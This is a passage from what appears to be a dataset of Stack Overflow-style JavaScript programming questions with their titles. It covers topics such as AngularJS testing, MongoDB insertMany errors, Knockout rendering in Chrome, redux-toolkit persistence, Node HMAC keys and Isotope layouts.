friend_id '' : null , `` unfriend_id '' : 1 , `` student_id '' : 4 } ] , `` student_id '' : 4 , `` student_first_name '' : `` Not '' , `` student_last_name '' : `` Yuagin '' , `` student_home_phone '' : `` 1112223333 '' , `` student_guardian_email '' : `` fake @ email.com '' , `` class_id '' : 1 } , { `` relationships '' : [ { `` relation_id '' : 6 , `` friend_id '' : 1 , `` unfriend_id '' : null , `` student_id '' : 5 } ] , `` student_id '' : 5 , `` student_first_name '' : `` Hei '' , `` student_last_name '' : `` Yu '' , `` student_home_phone '' : `` 1112223333 '' , `` student_guardian_email '' : `` fake @ email.com '' , `` class_id '' : 1 } ]",Multiple columns referencing single table - Sails JS API Model "JS : I 've been trying to spy a function that was executed on the initialize of a controller , but the test always failed . I 've been trying execute $ scope. $ digest ( ) and this it 's not working , However in the console , i see that the function have been called.I ca n't figure out this , Someone can explain to me why this it 's not working ? Codepen Example : http : //codepen.io/gpincheiraa/pen/KzZNbyControllerTesting function Controller ( $ stateParams , $ scope ) { $ scope.requestAuthorization = requestAuthorization ; if ( $ stateParams.requestAuthorization === true ) { console.log ( ' $ stateParams.requestAuthorization ' ) ; $ scope.requestAuthorization ( ) ; } function requestAuthorization ( ) { console.log ( 'requestAuthorization ( ) ' ) ; } } describe ( 'AppCtrl ' , function ( ) { var AppCtrl , $ rootScope , $ scope , $ stateParams ; beforeEach ( module ( 'exampleApp ' ) ) ; beforeEach ( inject ( function ( $ controller , _ $ rootScope_ , _ $ injector_ , _ $ stateParams_ ) { $ rootScope = _ $ rootScope_ ; $ scope = $ rootScope. $ new ( ) ; $ stateParams = _ $ stateParams_ ; $ stateParams.requestAuthorization = true ; AppCtrl = $ controller ( 'AppCtrl ' , { $ scope : $ scope , $ stateParams : $ stateParams } ) ; spyOn ( $ scope , 'requestAuthorization ' ) ; } ) ) ; it ( ' $ stateParams.requestAuthorization should be defined ' , function ( ) { expect ( $ stateParams.requestAuthorization ) .toBeDefined ( ) ; } ) ; it ( ' $ scope.requestAuthorization should be defined ' , function ( ) { expect ( $ scope.requestAuthorization ) .toBeDefined ( ) ; } ) ; // this test is not passing.. it ( 'should call requestAuthorization ' , function ( ) { // $ scope. $ digest ( ) ; expect ( $ scope.requestAuthorization ) .toHaveBeenCalled ( ) ; } ) ; } ) ;",Angular Testing : Spy a function that was executed on the initialize of a controller "JS : I want to show clock with some difference . below given code is working fine for me . but i want to push and play this time whenever user want . i want to push and resume SetTimeout function .any one have any idea how to do that ? $ ( `` # push '' ) .click ( function ( ) { } ) ; $ ( `` # play '' ) .click ( function ( ) { show ( ) ; } ) ; function show ( ) { var Digital = new Date ( ) ; var time2 = Digital.getTime ( ) ; var time1 = 1403517957984 ; var diff = Math.abs ( new Date ( time2 ) - new Date ( time1 ) ) ; var seconds = Math.floor ( diff / 1000 ) ; //ignore any left over units smaller than a second var minutes = Math.floor ( seconds / 60 ) ; seconds = seconds % 60 ; var hours = Math.floor ( minutes / 60 ) ; minutes = minutes % 60 ; if ( hours < 10 ) hours = `` 0 '' + hours ; if ( minutes < 10 ) minutes = `` 0 '' + minutes ; if ( seconds < 10 ) seconds = `` 0 '' + seconds ; $ ( ' # worked_time ' ) .html ( hours + `` : '' + minutes + `` : '' + seconds ) ; setTimeout ( `` show ( ) '' , 1000 ) ; } show ( ) ;",How to push/play setTimeout function "JS : I have a Mongo collection that I 'm trying to insert multiple documents into , as below : This always returns the following error : None of the objects within the array initially have _id properties . However , the console.log ( docs ) shows afterwards : Sure enough , all the object in the array now have an _id property with a duplicate value for each object . EDIT : I should also mention that the first object in the array is inserted to the collection , and has the same value for its _id property as the duplicate error message displays as a conflict . This implies that to me that the insertMany function is giving the objects the same ObjectId.What 's going on ? Why is insertMany generating a whole bunch of duplicate ObjectId 's when that will obviously cause the insert to fail ? db.collection ( 'properties ' ) .insertMany ( docs ) .catch ( err = > console.log ( err ) ) .then ( ( err , result ) = > { console.log ( err ) ; console.log ( docs ) ; console.log ( result ) ; //if ( err ) console.log ( err ) ; //else if ( callback ) callback ( ) ; } ) ; { [ MongoError : insertDocument : : caused by : : 11000 E11000 duplicate key error index : properties.properties. $ _id_ dup key : { : ObjectId ( '591bbecdf9d86c59eea1047c ' ) } ] { url : '/property/z37717098 ' , thumbnailUrl : 'https : //li ... 2e175fca56f08ceb6ffab5_354_255.jpg ' , lat : '50.81647 ' , lng : '-1.085111 ' , dateAdded : '30/07/2015 ' , images : [ 'https : //li.zoocdn ... b2e175fca56f08ceb6ffab5_645_430.jpg ' , 'https : //li.zoocdn ... c2e77d50e653300e5d21358d4f9825_645_430.jpg ' , 'https : //li.zoocdn ... 523163e4684226420bb4c167d90666_645_430.jpg ' , 'https : //li.zoocdn ... e008165a61d9154a7a59c881_645_430.jpg ' , 'https : //li.zoocd ... 218736df8f964745602744f7c_645_430.jpg ' , 'https : //li.zoo ... ad5a98ed2ffe78322c2_645_430.jpg ' , 'https : //li.zooc ... efe4a54042ff76690_645_430.jpg ' , 'https : //li.zoocd ... 6813d439a1740f42e_645_430.jpg ' , 'https : //li.zooc ... c2b38417154aeba6c28cbd_645_430.jpg ' ] , _id : 591bbecdf9d86c59eea1047c } ,",insertMany always returns duplicate _id error "JS : I have developed a tree view that uses knockout to display a hierarchy . I have noticed a weird situation within chrome that happens when I collapse a node in the tree . The text for the node disappears along with the items under it . I figured I had something wrong with my code and then figured out that it works correctly in both IE and firefox . I created the fiddle below that demonstrates the issue with any extra code from my page stripped out . If you expand a node and then collapse it ( the plus button does not change to a minus as it would in my full code ) , the text disappears . Then , you can just click anywhere on the page to get the text to show back up . The text that disappears has been outlined in red as recommended in a comment and can be seen in the screenshotI have tested this out on 4 machines and on each one it does n't work when I use Chrome . Is this a bug in Chrome , or am I doing something wrong ? Also , can anybody see any way to work around this issue if it is a bug in Chrome ? Example Fiddle console.clear ( ) ; var hierarchyNode = function ( parent ) { var self = this ; this.name = `` Node Name '' ; this.hasChildren = ko.observable ( true ) ; this.childNodes = ko.observableArray ( ) ; this.expanded = ko.observable ( false ) ; } ; hierarchyNode.prototype = { name : null , hasChildren : null , childNodes : null , getChildNodes : function ( element , event ) { if ( element.hasChildren ( ) === true & & element.childNodes ( ) .length === 0 ) { element.childNodes.push ( new hierarchyNode ( element ) ) ; } element.expanded ( ! element.expanded ( ) ) ; } } ; var hierarchyVM = function ( ) { var self = this ; self.hierarchyNodes = ko.observableArray ( ) ; self.selectItem = function ( ) { } ; } ; var vm = new hierarchyVM ( ) ; vm.hierarchyNodes.push ( new hierarchyNode ( null ) ) ; console.log ( vm.hierarchyNodes ( ) [ 0 ] ) ; ko.applyBindings ( vm ) ; ul.tree { list-style-type : none ; padding-left : 10px ; } .hierarchyNode { border : 1px solid red ; } < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/knockout/3.2.0/knockout-min.js '' > < /script > < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js '' > < /script > < ul class= '' tree '' data-bind= '' template : { name : 'itemTmpl ' , foreach : $ data.hierarchyNodes } '' > < /ul > < script id= '' itemTmpl '' type= '' text/html '' > < li > < button data-bind= '' click : getChildNodes '' > + < /button > < div data-bind= '' visible : hasChildren ( ) == false '' class= '' tree-spacer '' > < /div > < span data-bind= '' text : name '' class= '' no_selection hierarchyNode '' > < /span > < ul class= '' tree '' data-bind= '' template : { name : 'itemTmpl ' , foreach : $ data.childNodes } , visible : expanded '' > < /ul > < /li > < /script >",Chrome Bug with Knockout ? "JS : In Python , you can implement __call__ ( ) for a class such that calling an instance of the class itself executes the __call__ ( ) method.Do JavaScript classes have an equivalent method ? EditA summary answer incorporating the discussion here : Python and JavaScript objects are not similar enough for a true equivalent ( prototype vs. class based , self , vs. this ) The API can be achieved however using proxy or modifying the prototype – and maybe using bind ? One should generally not do this : it is too far removed from the JS 's structure and from the normal use of of JavaScript , potentially creating confusion among other JS devs , your future-self , and could result in idiosyncratic side-effects . class Example : def __call__ ( self ) : print ( `` the __call__ method '' ) e = Example ( ) e ( ) # `` the __call__ method ''",Do JavaScript classes have a method equivalent to Python classes ' __call__ ? "JS : Here is crazy string to numeric comparison in Qt ( LTS 5.6.2 ) QML JavaScript implementaion : And the output is : It looks like string interpreted as ( u ) int32 and high byte lost : This bug also effects on objects : Output : As you can see the key is damaged . The value can be obtained by two different strings.QuestionIs there any option to get some workaround with this without patching Qt ? Or at least the approximate location where can be the problem in Qt to improve yourself ? p.s . Also here is a QTBUG-56830 reported by my coworker . console.log ( `` 240000000000 '' == `` 3776798720 '' ) ; console.log ( `` 240000000000 '' === `` 3776798720 '' ) ; console.log ( `` 240000000000 '' === `` 3776798721 '' ) ; truetruefalse 240000000000 == 0x37E11D60003776798720 == 0xE11D6000 var g = { } ; var h = `` 240000000000 '' ; g [ h ] = h + `` BUG '' ; console.log ( JSON.stringify ( g , null , 2 ) ) ; console.log ( g [ `` 3776798720 '' ] , g [ `` 240000000000 '' ] ) ; qml : { `` 3776798720 '' : `` 240000000000BUG '' } qml : 240000000000BUG 240000000000BUG",Workaround for crazy string numeric comparison in Qt QML "JS : I 'm using Trumbowyg , a WYSIWYG JavaScript editor which has a feature of rendering images from URLs pasted in . It also has an upload plugin which enables uploading local images and custom server side handling . My python/django function upload_image ( ) can successfully detect the uploaded image - however when I use the URL image input , my python function can not detect it . Trumbowyg simply renders the image without going through my python backend.Here 's my code : Why can in detect the uploaded image but not the URL input ? $ ( ' # id_content ' ) .trumbowyg ( { btnsDef : { // Create a new dropdown image : { dropdown : [ 'insertImage ' , 'upload ' ] , ico : 'insertImage ' } } , // Redefine the button pane btns : [ [ 'strong ' , 'em ' , 'del ' ] , [ 'link ' ] , [ 'image ' ] , // Our fresh created dropdown ] , plugins : { // Add imagur parameters to upload plugin for demo purposes upload : { serverPath : '/upload_image/ ' , fileFieldName : 'content_image ' , urlPropertyName : 'url ' } } } ) ; def upload_image ( request ) : print ( 'Success ' ) # only prints when I use the upload input , not the URL input",Trumbowyg : Django server can detect file upload but not image URL input "JS : I try to include a template with angular ng-include . The page to include to : The template : Get template method : The template loads fine , I can see it on the page , but in the wrong place . Here is the screen from my browser 's console , the ng-include inserts before the table , not inside it : Could you please help me to understand , why is that ? Thank you in advance.Edit 1 , add browser 's render : < table class= '' table table-hover table-striped '' > < thead > < tr > < th translate > First < /th > < th translate > Second < /th > < th translate > Third < /th > < /tr > < /thead > < tbody > < ng-include src= '' getTemplate ( 'default ' ) '' > < /ng-include > < /tbody > < /table > < tr class= '' table-row-clickable '' > < td > text1 < /td > < td > text2 < /td > < td > text3 < /td > < /tr > $ scope.getTemplate = function ( templateName ) { return APP_CONFIG.TPL_PATH + '/path/ ' + templateName + '.html ' ; } ;",Angular ng-include in wrong position "JS : Is it possible to use a partial-static parameter in angular 2 routing ? I 'm going to explain : Now I 'm using classic parameter like this : But I would be able to use something like this : To be able to redirect exactly to static- { { parameterValue } } /fine.Is it possible ? const routes : Routes = [ { path : ' : type/fine.html ' , pathMatch : 'full ' , redirectTo : ' : type/fine ' } const routes : Routes = [ { path : 'static- : type/fine.html ' , pathMatch : 'full ' , redirectTo : 'static- : type/fine ' }",partial static routing parameter angular 2 "JS : I am trying to persist my redux to localStorage , but I do n't know how to add it to redux-toolkit 's configureStore function . Error : Argument of type ' { reducer : { progress : Reducer ; } ; persistedState : any ; } ' is not assignable to parameter of type 'ConfigureStoreOptions < { progress : number ; } , AnyAction > ' . Object literal may only specify known properties , and 'persistedState ' does not exist in type 'ConfigureStoreOptions < { progress : number ; } , AnyAction > ' . Code : localStorage.tsindex.tsx export const loadState = ( ) = > { try { const serializedState = localStorage.getItem ( `` state '' ) ; if ( serializedState === null ) { return undefined ; } return JSON.parse ( serializedState ) ; } catch ( err ) { return undefined ; } } ; import React from `` react '' ; import ReactDOM from `` react-dom '' ; import App from `` ./App '' ; import counterSlice from `` ./store/reducers/counterSlice '' ; import { configureStore } from `` @ reduxjs/toolkit '' ; // import throttle from `` lodash.throttle '' ; import { Provider } from `` react-redux '' ; import { loadState , saveState } from `` ./store/localStorage '' ; const reducer = { progress : counterSlice } ; const persistedState = loadState ( ) ; const store = configureStore ( { reducer , persistedState } ) ; store.subscribe ( ( ) = > { saveState ( { progress : store.getState ( ) .progress } ) ; } ) ; ReactDOM.render ( < Provider store= { store } > < App / > < /Provider > , document.getElementById ( `` root '' ) ) ;",Redux - Trying to add a function to configureStore "JS : Recently I was shown a piece of code that were asked during a full-stack developer interview.It involved creating a Promise , in which the candidate should implement , passing it a resolve function , and chaining 2 then's.I tried implementing the Promise very naively only to make the code work.Created a ctor that accepts a resolver func , Created a Then function that accepts a callback and returns a Promise , and simply calls the callback on the resolver function.The expected result is 2,4 - just like operating with real Promise.But i 'm getting 2,2.I 'm having trouble figuring out how to get the return value for the first `` then '' and passing it along . class MyPromise { constructor ( resolver ) { this.resolver = resolver ; } then ( callback ) { const result = new MyPromise ( callback ) ; this.resolver ( callback ) ; return result ; } } promise = new MyPromise ( ( result ) = > { setTimeout ( result ( 2 ) , 500 ) ; } ) ; promise.then ( result = > { console.log ( result ) ; return 2 * result ; } ) .then ( result = > console.log ( result ) ) ;",Simple Promise and Then implementation "JS : The context : My question relates to improving web-page loading performance , and in particular the effect that javascript has on page-loading ( resources/elements below the script are blocked from downloading/rendering ) .This problem is usually avoided/mitigated by placing the scripts at the bottom ( eg , just before the tag ) . The code i am looking at is for web analytics . Placing it at the bottom reduces its accuracy ; and because this script has no effect on the page 's content , ie , it 's not re-writing any part of the page -- i want to move it inside the head . Just how to do that without ruining page-loading performance is the crux.From my research , i 've found six techniques ( w/ support among all or most of the major browsers ) for downloading scripts so that they do n't block down-page content from loading/rendering : ( i ) XHR + eval ( ) ; ( ii ) XHR + inject ; ( iii ) download the HTML-wrapped script as in iFrame ; ( iv ) setting the script tag 's async flag to TRUE ( HTML 5 only ) ; ( v ) setting the script tag 's defer attribute ; and ( vi ) 'Script DOM Element'.It 's the last of these i do n't understand . The javascript to implement the pattern ( vi ) is : Seems simple enough : and anonymous function is created then executed in the same block . Inside this anonymous function : a script element is createdits src element is set to it 's location , thenthe script element is added to the DOMBut while each line is clear , it 's still not clear to me how exactly this pattern allows script loading without blocking down-page elements/resources from rendering/loading ? ( function ( ) { var q1 = document.createElement ( 'script ' ) ; q1.src = 'http : //www.my_site.com/q1.js ' document.documentElement.firstChild.appendChild ( q1 ) } ) ( ) ;",Downloading javascript Without Blocking "JS : I have read many posts with the same issue , but none help , so apologies for the duplicate question : ( Ive followed the simple sample on the JQueryUI site by hard coding values and the autocomplete works , but I need it to come from my Database.View : JS : EDIT : I added an alert on success , and the alert is being called , but there is no data ( i.e . No data being pulled from DB ) And I have added the Links required : Below is my ActionResult ( Actually a JsonResult ) & Function to pull the list of Jobs : Am I missing something or doing something wrong ? I appreciate any help , thanks ! @ Html.TextBoxFor ( model = > model.Position , new { @ type = `` text '' , @ id = `` jobtitle '' , @ name = `` jobtitle '' , @ placeholder = `` Job Title '' } ) < script > $ ( function ( ) { $ ( `` # jobtitle '' ) .autocomplete ( { source : function ( request , response ) { $ .ajax ( { url : ' @ Url.Action ( `` JobsAutoFill '' , `` Account '' ) ' , data : { Prefix : request.term } , success : function ( data ) { alert ( data ) ; response ( data ) ; } } ) ; } , minLength : 1 } ) ; // $ ( `` # jobtitle '' ) .autocomplete ( { // source : `` /Account/JobsAutoFill/ '' // } ) ; } ) ; < /script > < script src= '' https : //code.jquery.com/jquery-1.12.4.js '' > < /script > < script src= '' https : //code.jquery.com/ui/1.12.1/jquery-ui.js '' > < /script > public List < Jobs > GetAllJobs ( ) { List < Jobs > JobsList = new List < Jobs > ( ) ; using ( RBotEntities EF = new RBotEntities ( ) ) { var JobsListQuery = ( from ED in EF.EmploymentDetails select new { ED.pkiEmploymentDetailID , ED.Position } ) ; foreach ( var item in JobsListQuery ) { JobsList.Add ( new Jobs { Id = item.pkiEmploymentDetailID , Name = item.Position } ) ; } } return JobsList ; } public JsonResult JobsAutoFill ( string Prefix ) { //Note : you can bind same list from database List < Jobs > ObjList = new List < Jobs > ( ) ; ObjList = GetAllJobs ( ) ; //Searching records from list using LINQ query var JobNames = ( from N in ObjList where N.Name.StartsWith ( Prefix ) select new { N.Name } ) ; return Json ( JobNames , JsonRequestBehavior.AllowGet ) ; }",JQuery UI Autocomplete not reaching ActionResult C # MVC "JS : This is an oddball question , but I have been working on this for hours now and am not making much progress . I am hoping someone here may be able to advise ... I am porting a script from php to node . The php script makes use of this function : I have reproduced this in node using the crypto module : I have verified that these functions produce the same hash when given the same text and key.Except ... The string that is being used for a key in php looks similar to this : ( Do n't ask ) I have tried to reproduce this in Javascript like so : But it does n't work . ( I assume it has to have something to do with the linebreaks ) .Replacing the newlines with `` \r\n '' or `` \n '' as in the following also does not work : Suggestions on how to fix this ? ( Getting rid of the dog is not an option , unfortunately . ) Thanks ( in advance ) for your help . hash_hmac ( 'sha512 ' , $ text , $ key ) ; var hash = crypto.createHmac ( `` sha512 '' , key ) ; hash.update ( text ) ; return hash.digest ( `` hex '' ) ; define ( `` SITE_KEY '' , `` __ , , ' e ` -- -o ( ( ( | ___ , ' \\~ -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- - ' \_ ; / ( / / ) ._______________________________ . ) ( ( ( ( ( ( `` - ' `` - ' '' ) ; var key = `` \ __\ , , ' e ` -- -o\ ( ( ( | ___ , '\ \\\\~ -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- - ' \\_ ; /\ ( /\ / ) ._______________________________ . ) \ ( ( ( ( ( ( \ `` - ' `` -'\\ '' ; var key = `` \r\n __\r\n , , ' e ` -- -o\r\n ( ( ( | ___ , '\r\n \\\\~ -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- - ' \\_ ; /\r\n ( /\r\n / ) ._______________________________ . ) \r\n ( ( ( ( ( ( \r\n `` - ' `` -'\r\n\r\n '' ;",( Not-so ) Clever key is causing problems with SHA512 Hmac in Node JS "JS : I work with typed arrays a lot and a lot of my functions really should be able to work with any sort of typed array ( e.g. , summing a Uint8Array or a Float32Array ) . Sometimes , I can get away with just a simple type union , but often I keep running into the same error.A simple example : The error on f3 is : According to the docs : If we have a value that has a union type , we can only access members that are common to all types in the union.The way I 'm using reduce here is common to all arrays , but I surmise the problem is the optional 4th argument ( which for Uint8Array.prototype.reduce is a Uint8Array but for Int8Array.prototype.reduce is an Int8Array ) .Is there a simple work-around for this ? Or do I need to write a generics implementation for each of map , reduce , filter ? type T1 = Uint8Array ; type T2 = Int8Array ; type T3 = Uint8Array | Int8Array ; // No problems here : const f1 = ( arr : T1 ) = > arr.reduce ( ( sum , value ) = > sum + value ) ; const f2 = ( arr : T2 ) = > arr.reduce ( ( sum , value ) = > sum + value ) ; // Does not work : const f3 = ( arr : T3 ) = > arr.reduce ( ( sum , value ) = > sum + value ) ; Can not invoke an expression whose type lacks a call signature . Type ' { ( callbackfn : ( previousValue : number , currentValue : number , currentIndex : number , array : Uint8Array ) = > number ) : number ; ( callbackfn : ( previousValue : number , currentValue : number , currentIndex : number , array : Uint8Array ) = > number , initialValue : number ) : number ; < U > ( callbackfn : ( previousValue : U , currentValue : number , currentIndex : number , array : Uint8Array ) = > U , initialValue : U ) : U ; } | { ( callbackfn : ( previousValue : number , currentValue : number , currentIndex : number , array : Int8Array ) = > number ) : number ; ( callbackfn : ( previousValue : number , currentValue : number , currentIndex : number , array : Int8Array ) = > number , initialValue : number ) : number ; < U > ( callbackfn : ( previousValue : U , currentValue : number , currentIndex : number , array : Int8Array ) = > U , initialValue : U ) : U ; } ' has no compatible call signatures.ts ( 2349 )",Typed arrays and union types "JS : I am needing to find the argument passed to a function from the function . Let us suppose I have a function called foo : As it is now , of course , bar will always alert NaN.Inside of the function bar , I want to obtain the argument in the form it was originally passed . Furthermore , I want to be able to access the values of a , b , and c from the bar function . In other words , I would like something of this nature : You may not think this is possible , but I know you can do weird things with Javascript . For example , you can display the code of the calling function like this : I am willing to bet a few dollars that with some sort of finagling you can get a the original form of the argument and the values of the variables in the argument.I can easily see how you could do it if you were allowed to call bar in a form like this : But that is too convoluted and therefore unacceptable . The way bar is called may not be changed . function foo ( ) { var a = 3 ; var b = `` hello '' ; var c = [ 0,4 ] ; bar ( a - b / c ) ; bar ( c * a + b ) ; } function bar ( arg ) { alert ( arg ) } bar ( a - b / c ) ; function bar ( ) { //some magic code here alert ( originalArg ) ; //will alert `` a - b / c '' alert ( vars.a + `` `` + vars.b + `` `` + vars.c ) ; //will alert `` 3 hello 0,4 '' } function bar ( ) { alert ( bar.caller ) ; } bar ( function ( ) { return a - b / c } , { a : a , b : b , c : c } ) ;",Javascript Find argument passed to a function "JS : I 'm having an issue where I can only get my code to fire if I repeat it . See the below example . While the code is nearly identical if I take either of the two scripts out the code does n't function with just one , yet if I run both the script fires fine , but only one instead of two . give it a go.This works ( but only one script fires ) : This does not work : Or this : Does anyone have any ideas ? this is definitely the weirdest thing I 've seen in a while.Thanks , < script type= '' text/javascript '' > var url = window.location.href + `` '' ; document.write ( ' < script type= '' application/javascript '' src= '' https : //testdomain.com/mik21 ? add=2140535 & mik21= ' + url + ' '' / > ' ) ; < /script > < script type= '' text/javascript '' > var url = window.location.href + `` '' ; document.write ( ' < script type= '' application/javascript '' src= '' https : //testdomain.com/mik ? add=2140535 & mik= ' + url + ' '' / > ' ) ; < /script > < script type= '' text/javascript '' > var url = window.location.href + `` '' ; document.write ( ' < script type= '' application/javascript '' src= '' https : //testdomain.com/mik21 ? add=2140535 & mik21= ' + url + ' '' / > ' ) ; < /script > < script type= '' text/javascript '' > var url = window.location.href + `` '' ; document.write ( ' < script type= '' application/javascript '' src= '' https : //testdomain.com/mik ? add=2140535 & mik= ' + url + ' '' / > ' ) ; < /script >",Why does my javascript only fire when the code is repeated ? "JS : I 'm wondering how the sequence shown below could possibly occur.Here is the function in question : And here is what happens when I debug a call to this function:1 . Start at line 32.2 . Step In , advances to line 33.3 . Step In again , advances to line 34.4 . Step in one more time , advances to line 36 ? ? ? -- > How can control possibly go directly from the last line of the if block to the first line of the else block ? Some important facts : There are no missing steps here.This really happened.I 'm only calling sendMessage from one place , and I 'm logging when that call occurs . There are no unaccounted for sendMessage calls in the log , so I do n't believe asynchrony is an explanation.I also tried the same thing with the Firebug debugger and the same crazy thing happens.Edit/FollowupIf I add a console.log statement to the first line of the else block ( pushing the alert down to line 37 ) , the control will go right from line 34 to line 37 ( skipping the console.log statement ) .Also , I should have mentioned , no alert actually ever appears , even when stepping directly into that code.Edit 2Here is the spacing and CRLF 's of the sendMessage function : WebSocketConnector.prototype.sendMessage = function ( message ) { if ( socket ! == null ) { socket.send ( message ) ; console.log ( 'Sent : ' + message ) ; } else { alert ( 'Failed to send message . WebSocket connection not established . ' ) ; } } ;",Firefox debugger jumps from an if-block directly to an else-block "JS : I have the following html structureWhat I am trying to achieve is that when a user clicks on any of the span with class 'icon-trash ' I wa n't that to trigger onclick response . I can handle which span was clicked , but now I am stuck at the click itself , as it does not I can not get the alert message in this example < div class='container ' > < div class='comment-row-id-1 ' > < span class='user ' > job < /span > < span class='icon-trash ' > < /span > < /div > < div class='comment-row-id-2 ' > < span class='user ' > smith < /span > < span class='icon-trash ' > < /span > < /div > < div class='comment-row-id-3 ' > < span class='user ' > jane < /span > < span class='icon-trash ' > < /span > < /div > < /div > jQuery ( `` .icon-trash '' ) .click ( function ( ) { alert ( 'hi ' ) } )",unable to get response from a click span using jQuery "JS : im still a beginner with JS.I use ajax for filtering content in wordpress . So I need to send 2 variables to PHP . But the problem is once i 've navigated further one of the variables needs to change . In html the Data gets changed , but jquery which runs on ( document ) .ready uses the initial variable . How can i make the variable refresh on ajax complete ? here is my codeFrom another function the .data ( 'id ' ) in html gets a new value , but I need the jQuery to get the new value aswellEDIT : I need the personData to be updated in my click function . The data-id value of # content gets updated on ajaxComplete . It is done by another click function which gets the value from PHP . jQuery ( document ) .ready ( function ( $ ) { $ ( '.tax-filter ' ) .click ( function ( event ) { if ( event.preventDefault ) { event.preventDefault ( ) ; } else { event.returnValue = false ; } var selecetd_taxonomy = $ ( this ) .attr ( 'id ' ) ; var personData = $ ( ' # content ' ) .data ( 'id ' ) ; data = { action : 'filter_posts ' , afp_nonce : afp_vars.afp_nonce , taxonomy : selecetd_taxonomy , person : personData , } ; $ .ajax ( { type : 'post ' , dataType : 'json ' , url : afp_vars.afp_ajax_url , data : data , success : function ( data , textStatus , XMLHttpRequest ) { $ ( '.showContent ' ) .html ( data.response ) ; } , error : function ( MLHttpRequest , textStatus , errorThrown ) { $ ( '.projects ' ) .html ( 'Error 404 ' ) ; } } ) } ) ; } ) ;",Update jQuery variable on ajax complete "JS : Synopsis of problemWhen the screen loads it loads an empty div that jquery will later make individual calls to a web service and then dumps the resulting HTML in . Elements are then selected/deselected to be included in the calculation and results do not display correctly.The problem is when Isotope is initialized it sets the height of the container to 0px but overflow set to auto . This means when the ui is returned via AJAX the container it is being inserted into has a height of 0 . Windows machines render the overflow but Mac devices do not.UPDATE 2014-02-27 On PC the element is given an inline style of -webkit-transformOn PC : On MAC : ScreenshotsMac ( Chrome ) Screenshot : http : //i.imgur.com/GXmrBjU.pngPC ( Chrome ) Screenshot : http : //i.imgur.com/KtulXhF.pngRelevant JavaScriptRelevent HTML -webkit-transform : translate3d ( 243px , 0px , 0px ) scale3d ( 1 , 1 , 1 ) ; -webkit-transform : translate3d ( 0px , 180px , 0px ) scale3d ( 1 , 1 , 1 ) ; $ ( 'body ' ) .on ( 'click ' , '.culture-location .primary.turn-off ' , function ( event ) { var $ this = $ ( this ) , teamIds = [ ] , scores = [ ] , $ section = $ this.closest ( '.listing-section ' ) , $ listing = $ section.find ( '.listing-culture-dimensions ' ) , $ widgetboxes = $ listing.find ( '.widgetbox ' ) , $ widgetbox = $ this.closest ( '.widgetbox ' ) , $ loader = $ ( '.loader ' ) ; event.preventDefault ( ) ; if ( $ widgetbox.hasClass ( 'off ' ) ) { $ widgetbox.removeClass ( 'off ' ) ; } else { $ widgetbox.addClass ( 'off ' ) ; } $ loader.fadeIn ( ) ; $ listing.fadeOut ( ) .data ( 'scores ' , scores ) ; $ .each ( $ widgetboxes , function ( ) { var $ this = $ ( this ) ; scores.push ( { id : $ this.data ( 'dimensionid ' ) , score : $ this.data ( 'score ' ) } ) ; } ) ; $ section.find ( '.widget-team : not ( .off ) ' ) .each ( function ( ) { teamIds.push ( $ ( this ) .data ( 't ' ) ) ; } ) ; $ listing.isotope ( ) .isotope ( 'destroy ' ) ; $ listing.empty ( ) ; $ .ajax ( { url : '/xxx/xxxxxx ' , type : 'POST ' , data : { ... } } ) .done ( function ( response ) { var responseobj = JSON.parse ( response ) , lastScores = $ listing.data ( 'scores ' ) ; $ listing.html ( $ ( responseobj.data ) ) ; $ listing.isotope ( ) .isotope ( 'insert ' , $ listing.find ( '.widgetbox ' ) ) ; $ listing.find ( '.widgetbox ' ) .equalHeights ( 40 ) ; $ listing.find ( '.progress-circle ' ) .progressCircle ( ) ; $ listing.isotope ( 'reLayout ' ) ; $ listing.fadeIn ( ) ; $ loader.fadeOut ( ) ; } ) ; } ) ; < div class= '' listing-section '' data-l= '' 0 '' > < div class= '' header '' > < h4 > Virtual Teams < /h4 > < p > < /p > < /div > < div class= '' listing listing-culture-dimensions isotope loaded '' style= '' position : relative ; height : 365px ; '' > < div class= '' widgetbox widget-culture purple3 isotope-item '' data-score= '' 82.000000000000 '' data-dimensionid= '' 10 '' style= '' position : absolute ; left : 0px ; top : 0px ; -webkit-transform : translate3d ( 0px , 0px , 0px ) ; '' > < div class= '' widget-head '' > < div class= '' progress-circle '' > < span class= '' indicator hide '' > < /span > < div class= '' value '' > < span > 82 < /span > < small > % < /small > < /div > < div class= '' slice gt50 '' > < div class= '' pie '' style= '' -webkit-transform : rotate ( 295.2deg ) ; '' > < /div > < div class= '' pie fill '' > < /div > < /div > < /div > < div class= '' num '' > 1 < /div > < h6 class= '' text-ucfirst '' > teamwork < /h6 > < /div > < div class= '' widget-overlay '' > < a href= '' # '' class= '' btn-more '' > Read More < /a > < a href= '' # '' class= '' btn-less '' > Read Less < /a > < /div > < div class= '' culture-entry '' style= '' height : 238px ; '' > < p class= '' text-ucfirst '' > A chief value of this location is teamwork . Most of the people at this location tend to seek collaborative solutions and to employ group efforts to overcome challenges . Many of them prefer working with others to working alone . Collaboration and cooperation are highly valued , and this fact has contributed to the success of this location. < /p > < /div > < /div > < ! -- /.widgetbox -- > < div class= '' widgetbox widget-culture purple2 isotope-item '' data-score= '' 79.000000000000 '' data-dimensionid= '' 12 '' style= '' position : absolute ; left : 0px ; top : 0px ; -webkit-transform : translate3d ( 250px , 0px , 0px ) ; '' > < div class= '' widget-head '' > < div class= '' progress-circle '' > < span class= '' indicator hide '' > < /span > < div class= '' value '' > < span > 79 < /span > < small > % < /small > < /div > < div class= '' slice gt50 '' > < div class= '' pie '' style= '' -webkit-transform : rotate ( 284.40000000000003deg ) ; '' > < /div > < div class= '' pie fill '' > < /div > < /div > < /div > < div class= '' num '' > 2 < /div > < h6 class= '' text-ucfirst '' > support < /h6 > < /div > < div class= '' widget-overlay '' > < a href= '' # '' class= '' btn-more '' > Read More < /a > < a href= '' # '' class= '' btn-less '' > Read Less < /a > < /div > < div class= '' culture-entry '' style= '' height : 238px ; '' > < p class= '' text-ucfirst '' > A primary value of this location is support . Many of the people in this location find value in organizations that invest in their employees by providing resources and support to accomplish personal and professional goals. < /p > < /div > < /div > < ! -- /.widgetbox -- > < div class= '' widgetbox widget-culture purple isotope-item '' data-score= '' 79.000000000000 '' data-dimensionid= '' 8 '' style= '' position : absolute ; left : 0px ; top : 0px ; -webkit-transform : translate3d ( 500px , 0px , 0px ) ; '' > < div class= '' widget-head '' > < div class= '' 